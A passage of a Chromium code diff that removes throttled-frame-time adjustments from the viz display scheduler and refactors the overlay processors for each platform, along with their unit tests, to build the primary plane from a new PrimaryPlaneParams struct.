-    // Ignore the time spent between the swap throttled event and the next
-    // ScheduleBeginFrameDeadline.
-    // If frame rendering was throttled due to too many pending swaps,
-    // reporting a long frame duration (implying a heavy CPU workload) may
-    // mislead the system scheduler.
-    frame_latency = timings.swap_start - throttled_adjusted_frame_time_;
-    TRACE_EVENT_INSTANT(
-        "android.adpf", "AdjustFrameLatency", "delta_ms",
-        (throttled_adjusted_frame_time_ - frame_time_).InMillisecondsF(),
-        "latency_ms", frame_latency.InMillisecondsF());
-  }
   if (frame_latency < base::Seconds(0)) {
     LOG(ERROR) << "Frame latency is negative: "
                << frame_latency.InMillisecondsF() << " ms";
@@ -1082,7 +1067,7 @@
         std::move(renderer_main_thread_ids),
         /*boost_type=*/HintSession::BoostType::kDefault,
         params.choreographer_vsync_id.value_or(0), params.deadline,
-        params.preferred_deadline, params.throttled_adjusted_frame_time);
+        params.preferred_deadline);
 
     bool has_interactive_frame = false;
     bool has_animated_frame = false;
diff --git a/components/viz/service/display/display.h b/components/viz/service/display/display.h
index 4db157b2..b969661 100644
--- a/components/viz/service/display/display.h
+++ b/components/viz/service/display/display.h
@@ -254,8 +254,7 @@
                 HintSession::BoostType boost_type,
                 int64_t choreographer_vsync_id,
                 std::optional<PossibleDeadline> deadline,
-                std::optional<PossibleDeadline> preferred,
-                base::TimeTicks throttled_adjusted_frame_time);
+                std::optional<PossibleDeadline> preferred);
     void OnSwap(gfx::SwapTimings timings, DisplaySchedulerBase* scheduler);
     bool HasSwapped() const { return !swap_timings_.is_null(); }
     void OnPresent(const gfx::PresentationFeedback& feedback);
@@ -287,7 +286,6 @@
     int64_t choreographer_vsync_id_ = 0;
     std::optional<PossibleDeadline> deadline_;
     std::optional<PossibleDeadline> preferred_;
-    base::TimeTicks throttled_adjusted_frame_time_;
   };
 
   void InitializeRenderer();
diff --git a/components/viz/service/display/display_scheduler.cc b/components/viz/service/display/display_scheduler.cc
index 0cd46fa8..610f384 100644
--- a/components/viz/service/display/display_scheduler.cc
+++ b/components/viz/service/display/display_scheduler.cc
@@ -345,13 +345,6 @@
     params.deadline = selected_deadline;
     params.preferred_deadline = deadlines.GetPreferredDeadline();
   }
-  if (current_begin_frame_args_.throttled_adjusted_frame_time !=
-      base::TimeTicks()) {
-    params.throttled_adjusted_frame_time =
-        current_begin_frame_args_.throttled_adjusted_frame_time;
-  } else if (current_begin_frame_args_.is_throttled) {
-    params.throttled_adjusted_frame_time = base::TimeTicks::Now();
-  }
   bool success = client_ && client_->DrawAndSwap(params);
   if (!success)
     return false;
@@ -639,20 +632,6 @@
 
   // Determine the deadline we want to use.
   BeginFrameDeadlineMode deadline_mode = AdjustedBeginFrameDeadlineMode();
-
-  if (deadline_mode == BeginFrameDeadlineMode::kLate &&
-      pending_swaps_ >= MaxPendingSwaps()) {
-    current_begin_frame_args_.is_throttled = true;
-    current_begin_frame_args_.throttled_adjusted_frame_time = base::TimeTicks();
-  } else if (current_begin_frame_args_.is_throttled) {
-    // Chrome can re-enter ScheduleBeginFrameDeadline after being throttled.
-    // For example in a 30fps video scenario it can happen when all active
-    // surfaces are ready and the buffer is freed at that point.
-    current_begin_frame_args_.is_throttled = false;
-    current_begin_frame_args_.throttled_adjusted_frame_time =
-        base::TimeTicks::Now();
-  }
-
   base::TimeTicks desired_deadline =
       DesiredBeginFrameDeadlineTime(deadline_mode, current_begin_frame_args_);
 
diff --git a/components/viz/service/display/display_scheduler_base.h b/components/viz/service/display/display_scheduler_base.h
index eb5cff3..20ee337c 100644
--- a/components/viz/service/display/display_scheduler_base.h
+++ b/components/viz/service/display/display_scheduler_base.h
@@ -39,7 +39,6 @@
   std::optional<int64_t> choreographer_vsync_id;
   std::optional<PossibleDeadline> deadline;
   std::optional<PossibleDeadline> preferred_deadline;
-  base::TimeTicks throttled_adjusted_frame_time;
 };
 
 class VIZ_SERVICE_EXPORT DisplaySchedulerClient {
diff --git a/components/viz/service/display/overlay_ca_unittest.cc b/components/viz/service/display/overlay_ca_unittest.cc
index 8e39eb3..a01d9bd9 100644
--- a/components/viz/service/display/overlay_ca_unittest.cc
+++ b/components/viz/service/display/overlay_ca_unittest.cc
@@ -198,12 +198,16 @@
     output_surface_ = nullptr;
   }
 
-  std::optional<OverlayCandidate>& GetDefaultPrimaryPlane(
-      const gfx::Size& size) {
-    primary_plane_ = OverlayProcessorInterface::ProcessOutputSurfaceAsOverlay(
-        size, size, SinglePlaneFormat::kRGBA_8888,
-        gfx::ColorSpace::CreateSRGB(), false, 1.0, gpu::Mailbox());
-    return primary_plane_;
+  OverlayProcessorInterface::PrimaryPlaneParams GetDefaultPrimaryPlane(
+      const gfx::Size& primary_plane_size) {
+    return OverlayProcessorInterface::PrimaryPlaneParams{
+        .viewport_size = primary_plane_size,
+        .resource_size_in_pixels = primary_plane_size,
+        .supports_hdr = false,
+        .is_opaque = true,
+        .si_format = SinglePlaneFormat::kRGBA_8888,
+        .color_space = gfx::ColorSpace::CreateSRGB(),
+    };
   }
 
   std::unique_ptr<SkiaOutputSurface> output_surface_;
diff --git a/components/viz/service/display/overlay_dc_unittest.cc b/components/viz/service/display/overlay_dc_unittest.cc
index 33892d1..848c767 100644
--- a/components/viz/service/display/overlay_dc_unittest.cc
+++ b/components/viz/service/display/overlay_dc_unittest.cc
@@ -2602,8 +2602,6 @@
     overlay_processor_->SetUsingDCLayersForTesting(kDefaultRootPassId, true);
 
     EXPECT_TRUE(overlay_processor_->IsOverlaySupported());
-
-    output_surface_plane_ = GetDefaultPrimaryPlane(gfx::Size(256, 256));
   }
 
   void TearDown() override {
@@ -2611,14 +2609,18 @@
     OverlayProcessorTestBase::TearDown();
   }
 
-  std::optional<OverlayCandidate> GetDefaultPrimaryPlane(
+  OverlayProcessorInterface::PrimaryPlaneParams GetDefaultPrimaryPlane(
       const gfx::Size& primary_plane_size) {
-    return overlay_processor_->ProcessOutputSurfaceAsOverlay(
-        primary_plane_size, primary_plane_size, SinglePlaneFormat::kBGRA_8888,
-        gfx::ColorSpace::CreateSRGB(), false, 1.0, gpu::Mailbox());
+    return OverlayProcessorInterface::PrimaryPlaneParams{
+        .viewport_size = primary_plane_size,
+        .resource_size_in_pixels = primary_plane_size,
+        .supports_hdr = false,
+        .is_opaque = true,
+        .si_format = SinglePlaneFormat::kRGBA_8888,
+        .color_space = gfx::ColorSpace::CreateSRGB(),
+    };
   }
 
-  std::optional<OverlayCandidate> output_surface_plane_;
   std::unique_ptr<OverlayProcessorWin> overlay_processor_;
   gfx::Rect damage_rect_;
   std::vector<gfx::Rect> content_bounds_;
@@ -2760,12 +2762,11 @@
                                                      &damage_rect_);
     }
 
-    output_surface_plane_ =
-        GetDefaultPrimaryPlane(render_passes->back()->output_rect.size());
     overlay_processor_->ProcessForOverlays(
         resource_provider_.get(), render_passes, SkM44(),
         std::move(surface_damage_rect_list_in_root_space),
-        output_surface_plane_, candidates, &damage_rect_, &content_bounds_);
+        GetDefaultPrimaryPlane(render_passes->back()->output_rect.size()),
+        candidates, &damage_rect_, &content_bounds_);
   }
 
  private:
@@ -3084,10 +3085,6 @@
   EXPECT_THAT(overlays, testing::ElementsAreArray({
                             test::OverlayIsFullScreen(),
                         }));
-
-  // Check that the next call to `AdjustOutputSurfaceOverlay` clears the primary
-  // plane.
-  EXPECT_FALSE(output_surface_plane_.has_value());
 }
 
 INSTANTIATE_TEST_SUITE_P(
@@ -3143,12 +3140,6 @@
   DelegationResult TryProcessForDelegatedOverlays(
       AggregatedRenderPassList& pass_list,
       SurfaceDamageRectList surface_damage_rect_list = {}) {
-    if (!output_surface_plane_) {
-      // Reset the output surface plane in case we're calling
-      // |TryProcessForDelegatedOverlays| multiple times.
-      output_surface_plane_ = OverlayCandidate();
-    }
-
     const gfx::Rect original_root_surface_damage =
         pass_list.back()->damage_rect;
 
@@ -3169,8 +3160,9 @@
     overlay_processor_->ProcessForOverlays(
         resource_provider_.get(), &pass_list, GetIdentityColorMatrix(),
         render_pass_filters, render_pass_backdrop_filters,
-        std::move(surface_damage_rect_list), output_surface_plane_, &candidates,
-        &damage_rect_, &content_bounds_);
+        std::move(surface_damage_rect_list),
+        GetDefaultPrimaryPlane(pass_list.back()->output_rect.size()),
+        &candidates, &damage_rect_, &content_bounds_);
 
     const bool delegation_succeeded = std::ranges::none_of(
         candidates,
diff --git a/components/viz/service/display/overlay_processor_android.cc b/components/viz/service/display/overlay_processor_android.cc
index ababf9a..c269c79f 100644
--- a/components/viz/service/display/overlay_processor_android.cc
+++ b/components/viz/service/display/overlay_processor_android.cc
@@ -197,6 +197,10 @@
   NOTREACHED();
 }
 
+bool OverlayProcessorAndroid::ShouldCreatePrimaryPlane() const {
+  return false;
+}
+
 void OverlayProcessorAndroid::TakeOverlayCandidates(
     OverlayCandidateList* candidate_list) {
   overlay_candidates_.swap(*candidate_list);
diff --git a/components/viz/service/display/overlay_processor_android.h b/components/viz/service/display/overlay_processor_android.h
index aae6860..1e5f196 100644
--- a/components/viz/service/display/overlay_processor_android.h
+++ b/components/viz/service/display/overlay_processor_android.h
@@ -63,6 +63,8 @@
   void InsertPrimaryPlane(OverlayCandidate primary_plane,
                           OverlayCandidateList& candidates) override;
 
+  bool ShouldCreatePrimaryPlane() const override;
+
  private:
   // OverlayProcessor needs to send overlay candidate information to the gpu
   // thread. These two methods are scheduled on the gpu thread to setup and
diff --git a/components/viz/service/display/overlay_processor_delegated.cc b/components/viz/service/display/overlay_processor_delegated.cc
index a91a864..237f490 100644
--- a/components/viz/service/display/overlay_processor_delegated.cc
+++ b/components/viz/service/display/overlay_processor_delegated.cc
@@ -70,7 +70,7 @@
     const DisplayResourceProvider* resource_provider,
     AggregatedRenderPassList* render_pass_list,
     SurfaceDamageRectList* surface_damage_rect_list,
-    std::optional<OverlayCandidate>& primary_plane,
+    const std::optional<OverlayCandidate>& primary_plane,
     OverlayCandidateList* candidates,
     std::vector<gfx::Rect>* content_bounds) {
   DCHECK(candidates->empty());
@@ -187,7 +187,7 @@
     const OverlayProcessorInterface::FilterOperationsMap&
         render_pass_backdrop_filters,
     SurfaceDamageRectList surface_damage_rect_list,
-    std::optional<OverlayCandidate>& primary_plane,
+    const PrimaryPlaneParams& primary_plane_params,
     CandidateList* candidates,
     gfx::Rect* damage_rect,
     std::vector<gfx::Rect>* content_bounds) {
@@ -196,6 +196,9 @@
 
   DebugLogBeforeDelegation(*damage_rect, surface_damage_rect_list);
 
+  std::optional<OverlayCandidate> primary_plane =
+      CreatePrimaryPlane(primary_plane_params);
+
   success = AttemptWithStrategies(
       output_color_matrix, render_pass_filters, render_pass_backdrop_filters,
       resource_provider, render_passes, &surface_damage_rect_list,
@@ -217,10 +220,6 @@
     // This is only relevant when delegating.
     unassigned_damage_ = gfx::RectF();
 
-    CHECK(primary_plane);
-    render_passes->back()->has_transparent_background |=
-        !primary_plane->is_opaque;
-
     // TODO(crbug.com/40775556) : Damage propagation will allow us to remove the
     // primary plan entirely in the case of full delegation.
     InsertPrimaryPlane(std::move(primary_plane).value(), *candidates);
diff --git a/components/viz/service/display/overlay_processor_delegated.h b/components/viz/service/display/overlay_processor_delegated.h
index 2fa78ead..fc72a310 100644
--- a/components/viz/service/display/overlay_processor_delegated.h
+++ b/components/viz/service/display/overlay_processor_delegated.h
@@ -54,7 +54,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       CandidateList* overlay_candidates,
       gfx::Rect* damage_rect,
       std::vector<gfx::Rect>* content_bounds) final;
@@ -79,7 +79,7 @@
       const DisplayResourceProvider* resource_provider,
       AggregatedRenderPassList* render_pass_list,
       SurfaceDamageRectList* surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const std::optional<OverlayCandidate>& primary_plane,
       OverlayCandidateList* candidates,
       std::vector<gfx::Rect>* content_bounds);
 
diff --git a/components/viz/service/display/overlay_processor_interface.cc b/components/viz/service/display/overlay_processor_interface.cc
index a534000..a0b74154 100644
--- a/components/viz/service/display/overlay_processor_interface.cc
+++ b/components/viz/service/display/overlay_processor_interface.cc
@@ -186,14 +186,9 @@
   return false;
 }
 
-OverlayCandidate OverlayProcessorInterface::ProcessOutputSurfaceAsOverlay(
-    const gfx::Size& viewport_size,
-    const gfx::Size& resource_size,
-    const SharedImageFormat si_format,
-    const gfx::ColorSpace& color_space,
-    bool has_alpha,
-    float opacity,
-    const gpu::Mailbox& mailbox) {
+// static
+OverlayCandidate OverlayProcessorInterface::CreatePrimaryPlane(
+    const PrimaryPlaneParams& params) {
   OverlayCandidate overlay_plane;
   overlay_plane.is_root_render_pass = true;
 #if BUILDFLAG(IS_APPLE) || BUILDFLAG(IS_WIN)
@@ -201,27 +196,41 @@
 #else
   overlay_plane.transform = gfx::OverlayTransform::OVERLAY_TRANSFORM_NONE;
 #endif
-  overlay_plane.uv_rect = gfx::RectF(
-      0.f, 0.f,
-      viewport_size.width() / static_cast<float>(resource_size.width()),
-      viewport_size.height() / static_cast<float>(resource_size.height()));
-  overlay_plane.resource_size_in_pixels = resource_size;
-  overlay_plane.format = si_format;
-  overlay_plane.color_space = color_space;
-  overlay_plane.is_opaque = !has_alpha;
-  overlay_plane.opacity = opacity;
-  overlay_plane.mailbox = mailbox;
+  overlay_plane.is_opaque = params.is_opaque;
+  overlay_plane.opacity = 1.0f;
   overlay_plane.priority_hint = gfx::OverlayPriorityHint::kRegular;
   overlay_plane.rounded_corners = gfx::RRectF();
 
   // Adjust transformation and display_rect based on display rotation.
-  overlay_plane.display_rect =
-      gfx::RectF(viewport_size.width(), viewport_size.height());
+  overlay_plane.display_rect = gfx::RectF(params.viewport_size);
+  overlay_plane.resource_size_in_pixels = params.resource_size_in_pixels;
+  overlay_plane.uv_rect = gfx::RectF(
+      0.f, 0.f,
+      overlay_plane.display_rect.width() /
+          static_cast<float>(overlay_plane.resource_size_in_pixels.width()),
+      overlay_plane.display_rect.height() /
+          static_cast<float>(overlay_plane.resource_size_in_pixels.height()));
 
 #if BUILDFLAG(ALWAYS_ENABLE_BLENDING_FOR_PRIMARY)
   // On Chromecast, always use RGBA as the scanout format for the primary plane.
   overlay_plane.is_opaque = false;
 #endif
+
+  overlay_plane.format = params.si_format;
+  overlay_plane.color_space = params.color_space;
+
+#if BUILDFLAG(IS_OZONE)
+  overlay_plane.mailbox = params.overlay_testing_mailbox;
+#endif
+
+  if (params.supports_hdr) {
+    overlay_plane.hdr_metadata.extended_range.emplace();
+    // TODO(crbug.com/40263227): Track the actual brightness of the
+    // content. For now, assume that all HDR content is 1,000 nits.
+    overlay_plane.hdr_metadata.extended_range->desired_headroom =
+        gfx::HdrMetadataExtendedRange::kDefaultHdrHeadroom;
+  }
+
   return overlay_plane;
 }
 
@@ -230,7 +239,7 @@
     AggregatedRenderPassList* render_passes,
     const SkM44& output_color_matrix,
     SurfaceDamageRectList surface_damage_rect_list,
-    std::optional<OverlayCandidate>& primary_plane,
+    const PrimaryPlaneParams& primary_plane_params,
     CandidateList* overlay_candidates,
     gfx::Rect* damage_rect,
     std::vector<gfx::Rect>* content_bounds) {
@@ -238,7 +247,7 @@
   ProcessForOverlays(resource_provider, render_passes, output_color_matrix,
                      /*render_pass_filters=*/{},
                      /*render_pass_backdrop_filters=*/{},
-                     surface_damage_rect_list, primary_plane,
+                     surface_damage_rect_list, primary_plane_params,
                      overlay_candidates, damage_rect, content_bounds);
 }
 
diff --git a/components/viz/service/display/overlay_processor_interface.h b/components/viz/service/display/overlay_processor_interface.h
index a68d9bd..a495cfd 100644
--- a/components/viz/service/display/overlay_processor_interface.h
+++ b/components/viz/service/display/overlay_processor_interface.h
@@ -66,18 +66,6 @@
       bool has_occluding_surface_damage,
       bool zero_damage_rect);
 
-  // TODO(weiliangc): Eventually the asymmetry between primary plane and
-  // non-primary places should be internalized and should not have a special
-  // API.
-  static OverlayCandidate ProcessOutputSurfaceAsOverlay(
-      const gfx::Size& viewport_size,
-      const gfx::Size& resource_size,
-      const SharedImageFormat si_format,
-      const gfx::ColorSpace& color_space,
-      bool has_alpha,
-      float opacity,
-      const gpu::Mailbox& mailbox);
-
   static std::unique_ptr<OverlayProcessorInterface> CreateOverlayProcessor(
       OutputSurface* output_surface,
       gpu::SurfaceHandle surface_handle,
@@ -102,6 +90,27 @@
   // processor.
   virtual bool NeedsSurfaceDamageRectList() const = 0;
 
+  struct PrimaryPlaneParams {
+    const gfx::Size viewport_size;
+    const gfx::Size resource_size_in_pixels;
+    bool supports_hdr = false;
+    bool is_opaque = false;
+
+    // Used by Ozone to create a dummy buffer to test overlay support.
+    const SharedImageFormat si_format;
+    // Used by Ozone to create a dummy buffer to test overlay support. Used by
+    // Android to determine the output color space, especially for HDR output.
+    const gfx::ColorSpace color_space;
+
+#if BUILDFLAG(IS_OZONE)
+    // Ozone requires checking for overlay support with an actual buffer. To
+    // create the primary plane, `OverlayProcessorOzone` will use an existing
+    // `overlay_testing_mailbox` (usually, the last swapped primary plane
+    // buffer) or will make a dummy buffer using `si_format` and `color_space`.
+    const gpu::Mailbox overlay_testing_mailbox;
+#endif
+  };
+
   // Attempts to replace quads from the specified root render pass with overlays
   // or CALayers. This must be called every frame.
   // TODO(crbug.com/444264038): Delete this overload when the RPDQ refactor is
@@ -113,7 +122,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       CandidateList* overlay_candidates,
       gfx::Rect* damage_rect,
       std::vector<gfx::Rect>* content_bounds) = 0;
@@ -122,7 +131,7 @@
                           AggregatedRenderPassList* render_passes,
                           const SkM44& output_color_matrix,
                           SurfaceDamageRectList surface_damage_rect_list,
-                          std::optional<OverlayCandidate>& primary_plane,
+                          const PrimaryPlaneParams& primary_plane_params,
                           CandidateList* overlay_candidates,
                           gfx::Rect* damage_rect,
                           std::vector<gfx::Rect>* content_bounds);
@@ -175,6 +184,8 @@
 
  protected:
   OverlayProcessorInterface() = default;
+
+  static OverlayCandidate CreatePrimaryPlane(const PrimaryPlaneParams& params);
 };
 
 }  // namespace viz
diff --git a/components/viz/service/display/overlay_processor_mac.cc b/components/viz/service/display/overlay_processor_mac.cc
index 0cbe45f..76fa8119 100644
--- a/components/viz/service/display/overlay_processor_mac.cc
+++ b/components/viz/service/display/overlay_processor_mac.cc
@@ -48,7 +48,7 @@
     const OverlayProcessorInterface::FilterOperationsMap&
         render_pass_backdrop_filters,
     SurfaceDamageRectList surface_damage_rect_list,
-    std::optional<OverlayCandidate>& primary_plane,
+    const PrimaryPlaneParams& primary_plane_params,
     CandidateList* candidates,
     gfx::Rect* damage_rect,
     std::vector<gfx::Rect>* content_bounds) {
@@ -79,13 +79,9 @@
         &render_pass->quad_list, render_pass_filters,
         render_pass_backdrop_filters, candidates);
 
-    CHECK(primary_plane);
-    render_pass->has_transparent_background |= !primary_plane->is_opaque;
-
     // Mac doesn't use the plane_z_order field and it needs to have primary
     // plane last in the list of overlays.
-    candidates->push_back(std::move(primary_plane).value());
-    primary_plane.reset();
+    candidates->push_back(CreatePrimaryPlane(primary_plane_params));
   }
 }
 
diff --git a/components/viz/service/display/overlay_processor_mac.h b/components/viz/service/display/overlay_processor_mac.h
index 7cbe033..cb41887 100644
--- a/components/viz/service/display/overlay_processor_mac.h
+++ b/components/viz/service/display/overlay_processor_mac.h
@@ -57,7 +57,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       CandidateList* overlay_candidates,
       gfx::Rect* damage_rect,
       std::vector<gfx::Rect>* content_bounds) override;
diff --git a/components/viz/service/display/overlay_processor_ozone.cc b/components/viz/service/display/overlay_processor_ozone.cc
index f34718c..692e835ac 100644
--- a/components/viz/service/display/overlay_processor_ozone.cc
+++ b/components/viz/service/display/overlay_processor_ozone.cc
@@ -498,6 +498,14 @@
   candidates.insert(insert_positon, std::move(primary_plane));
 }
 
+bool OverlayProcessorOzone::ShouldCreatePrimaryPlane() const {
+#if BUILDFLAG(IS_CASTOS)
+  return false;
+#else
+  return true;
+#endif
+}
+
 bool OverlayProcessorOzone::SetNativePixmapForCandidate(
     ui::OverlaySurfaceCandidate* candidate,
     const gpu::Mailbox& mailbox,
diff --git a/components/viz/service/display/overlay_processor_ozone.h b/components/viz/service/display/overlay_processor_ozone.h
index 4d9420a4..e3caead 100644
--- a/components/viz/service/display/overlay_processor_ozone.h
+++ b/components/viz/service/display/overlay_processor_ozone.h
@@ -69,6 +69,8 @@
   void InsertPrimaryPlane(OverlayCandidate primary_plane,
                           OverlayCandidateList& candidates) override;
 
+  bool ShouldCreatePrimaryPlane() const override;
+
  private:
   // Populates |native_pixmap| and |native_pixmap_unique_id| in |candidate|
   // based on |mailbox|. |is_primary| should be true if this is the primary
diff --git a/components/viz/service/display/overlay_processor_stub.h b/components/viz/service/display/overlay_processor_stub.h
index 411f00c..25d1519f 100644
--- a/components/viz/service/display/overlay_processor_stub.h
+++ b/components/viz/service/display/overlay_processor_stub.h
@@ -33,7 +33,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       CandidateList* overlay_candidates,
       gfx::Rect* damage_rect,
       std::vector<gfx::Rect>* content_bounds) final {}
diff --git a/components/viz/service/display/overlay_processor_using_strategy.cc b/components/viz/service/display/overlay_processor_using_strategy.cc
index 10ea2ab..8cdc5898 100644
--- a/components/viz/service/display/overlay_processor_using_strategy.cc
+++ b/components/viz/service/display/overlay_processor_using_strategy.cc
@@ -263,15 +263,13 @@
     const OverlayProcessorInterface::FilterOperationsMap&
         render_pass_backdrop_filters,
     SurfaceDamageRectList surface_damage_rect_list,
-    std::optional<OverlayCandidate>& primary_plane,
+    const PrimaryPlaneParams& primary_plane_params,
     CandidateList* candidates,
     gfx::Rect* damage_rect,
     std::vector<gfx::Rect>* content_bounds) {
 #if BUILDFLAG(IS_CHROMEOS)
   // TODO(b/181974042):  Remove when color space is plumbed.
-  if (primary_plane) {
-    primary_plane_color_space_ = primary_plane->color_space;
-  }
+  primary_plane_color_space_ = primary_plane_params.color_space;
 #endif
   TRACE_EVENT0("viz", "OverlayProcessorUsingStrategy::ProcessForOverlays");
   DCHECK(candidates->empty());
@@ -290,6 +288,10 @@
   // contents.
   bool skip_because_copy_request = BlockForCopyRequests(render_pass);
 
+  std::optional<OverlayCandidate> primary_plane;
+  if (ShouldCreatePrimaryPlane()) {
+    primary_plane = CreatePrimaryPlane(primary_plane_params);
+  }
   if (!skip_because_copy_request && !disable_overlay()) {
     success = AttemptWithStrategies(
         output_color_matrix, render_pass_filters, render_pass_backdrop_filters,
@@ -349,6 +351,10 @@
   candidates.push_back(std::move(primary_plane));
 }
 
+bool OverlayProcessorUsingStrategy::ShouldCreatePrimaryPlane() const {
+  return true;
+}
+
 void OverlayProcessorUsingStrategy::ClearOverlayCombinationCache() {
   overlay_combination_cache_.ClearCache();
 }
diff --git a/components/viz/service/display/overlay_processor_using_strategy.h b/components/viz/service/display/overlay_processor_using_strategy.h
index 46d3d3e..6608732 100644
--- a/components/viz/service/display/overlay_processor_using_strategy.h
+++ b/components/viz/service/display/overlay_processor_using_strategy.h
@@ -72,7 +72,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       CandidateList* overlay_candidates,
       gfx::Rect* damage_rect,
       std::vector<gfx::Rect>* content_bounds)
@@ -148,8 +148,12 @@
   // confirmed in `OverlayProcessorOzone::ReceiveHardwareCapabilities`.
   int max_overlays_considered_ = 1;
 
-#if BUILDFLAG(IS_CHROMEOS)
  protected:
+  // This is used by `OverlayProcessorAndroid` and `OverlayProcessorWebView`,
+  // which do not use an overlay for the primary plane.
+  virtual bool ShouldCreatePrimaryPlane() const;
+
+#if BUILDFLAG(IS_CHROMEOS)
   // TODO(b/181974042):  Remove when color space is plumbed.
   gfx::ColorSpace primary_plane_color_space_;
 #endif
diff --git a/components/viz/service/display/overlay_processor_win.cc b/components/viz/service/display/overlay_processor_win.cc
index 0fb93bf..05b36dcb 100644
--- a/components/viz/service/display/overlay_processor_win.cc
+++ b/components/viz/service/display/overlay_processor_win.cc
@@ -189,7 +189,7 @@
     const OverlayProcessorInterface::FilterOperationsMap&
         render_pass_backdrop_filters,
     SurfaceDamageRectList surface_damage_rect_list_in_root_space,
-    std::optional<OverlayCandidate>& primary_plane,
+    const PrimaryPlaneParams& primary_plane_params,
     CandidateList* candidates,
     gfx::Rect* root_damage_rect,
     std::vector<gfx::Rect>* content_bounds) {
@@ -203,6 +203,7 @@
       render_pass_filters, render_pass_backdrop_filters,
       surface_damage_rect_list_in_root_space, candidates, root_damage_rect);
 
+  std::optional<OverlayCandidate> primary_plane;
   if (status != DelegationStatus::kFullDelegation) {
     // Fall back to promoting overlays from the output surface plane.
     ProcessOverlaysFromOutputSurfacePlane(
@@ -210,7 +211,7 @@
         render_pass_filters, render_pass_backdrop_filters,
         surface_damage_rect_list_in_root_space, candidates, root_damage_rect);
 
-    CHECK(primary_plane);
+    primary_plane = CreatePrimaryPlane(primary_plane_params);
     primary_plane->is_opaque =
         !render_passes->back()->has_transparent_background;
     primary_plane->layer_id = gfx::OverlayLayerId::MakeVizInternalRenderPass(
diff --git a/components/viz/service/display/overlay_processor_win.h b/components/viz/service/display/overlay_processor_win.h
index f0f01f59..66c3ad4 100644
--- a/components/viz/service/display/overlay_processor_win.h
+++ b/components/viz/service/display/overlay_processor_win.h
@@ -66,7 +66,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list_in_root_space,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       OverlayCandidateList* overlay_candidates,
       gfx::Rect* root_damage_rect,
       std::vector<gfx::Rect>* content_bounds) override;
diff --git a/components/viz/service/display/overlay_unittest.cc b/components/viz/service/display/overlay_unittest.cc
index e5cc763..367ec0d5 100644
--- a/components/viz/service/display/overlay_unittest.cc
+++ b/components/viz/service/display/overlay_unittest.cc
@@ -102,7 +102,6 @@
 const gfx::Rect kOverlayClipRect(0, 0, 128, 128);
 const gfx::PointF kUVTopLeft(0.1f, 0.2f);
 const gfx::PointF kUVBottomRight(1.0f, 1.0f);
-const SharedImageFormat kDefaultSIFormat = SinglePlaneFormat::kRGBA_8888;
 const OverlayCandidateFactory::OverlayContext kTestOverlayContext;
 
 class TimeTicksOverride {
@@ -153,7 +152,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       CandidateList* overlay_candidates,
       gfx::Rect* damage_rect,
       std::vector<gfx::Rect>* content_bounds) override {
@@ -164,7 +163,7 @@
     OverlayProcessorUsingStrategy::ProcessForOverlays(
         resource_provider, render_passes, output_color_matrix,
         render_pass_filters, render_pass_backdrop_filters,
-        surface_damage_rect_list, primary_plane, overlay_candidates,
+        surface_damage_rect_list, primary_plane_params, overlay_candidates,
         damage_rect, content_bounds);
   }
 
@@ -310,7 +309,7 @@
       const FilterOperationsMap& render_pass_filters,
       const FilterOperationsMap& render_pass_backdrop_filters,
       SurfaceDamageRectList surface_damage_rect_list,
-      std::optional<OverlayCandidate>& primary_plane,
+      const PrimaryPlaneParams& primary_plane_params,
       CandidateList* overlay_candidates,
       gfx::Rect* damage_rect,
       std::vector<gfx::Rect>* content_bounds) override {
@@ -321,7 +320,7 @@
     OverlayProcessorUsingStrategy::ProcessForOverlays(
         resource_provider, render_passes, output_color_matrix,
         render_pass_filters, render_pass_backdrop_filters,
-        surface_damage_rect_list, primary_plane, overlay_candidates,
+        surface_damage_rect_list, primary_plane_params, overlay_candidates,
         damage_rect, content_bounds);
   }
 
@@ -926,18 +925,24 @@
     return resource_factory_->resource_provider();
   }
 
-  std::optional<OverlayCandidate>& GetDefaultPrimaryPlane() {
-    primary_plane_ = OverlayProcessorInterface::ProcessOutputSurfaceAsOverlay(
-        kDisplaySize, kDisplaySize, kDefaultSIFormat,
-        gfx::ColorSpace::CreateSRGB(), false, 1.0, gpu::Mailbox());
-    return primary_plane_;
+  OverlayProcessorInterface::PrimaryPlaneParams GetDefaultPrimaryPlane() {
+    return OverlayProcessorInterface::PrimaryPlaneParams{
+        .viewport_size = kDisplaySize,
+        .resource_size_in_pixels = kDisplaySize,
+        .supports_hdr = false,
+        .is_opaque = true,
+        .si_format = SinglePlaneFormat::kRGBA_8888,
+        .color_space = gfx::ColorSpace::CreateSRGB(),
+#if BUILDFLAG(IS_OZONE)
+        .overlay_testing_mailbox = gpu::Mailbox(),
+#endif
+    };
   }
 
   std::unique_ptr<TestResourceFactory> resource_factory_;
   std::unique_ptr<OverlayProcessorType> overlay_processor_;
   gfx::Rect damage_rect_;
   std::vector<gfx::Rect> content_bounds_;
-  std::optional<OverlayCandidate> primary_plane_;
 };
 
 template <typename OverlayProcessorType>
@@ -3859,14 +3864,9 @@
